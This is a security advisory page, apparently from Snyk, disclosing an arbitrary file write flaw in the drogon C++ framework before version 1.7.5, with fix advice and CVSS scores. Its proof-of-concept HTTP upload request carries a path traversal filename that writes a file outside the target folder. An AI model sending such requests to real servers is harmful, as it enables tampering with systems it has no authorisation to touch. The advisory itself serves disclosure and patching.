Arbitrary File Write Affecting drogonframework/drogon package, versions [,1.7.5)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.34% (72nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-DROGONFRAMEWORKDROGON-2407243
  • published 13 Feb 2022
  • disclosed 13 Feb 2022
  • credit Snyk Security Team

How to fix?

Upgrade drogonframework/drogon to version 1.7.5 or higher.

Overview

drogonframework/drogon is a C++14/17-based HTTP application framework.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using HttpFile::save() method may enable attackers to write files to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the file_upload example.

POST /upload_endpoint HTTP/1.1
Host: localhost:8848
Content-Length: 150
Content-Type: multipart/form-data; boundary=----xxx
Connection: close

------xxx Content-Disposition: form-data; name="file"; filename="../../../../../../malicious-file" Content-Type: text/plain

pwned

------xxx--

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.8 high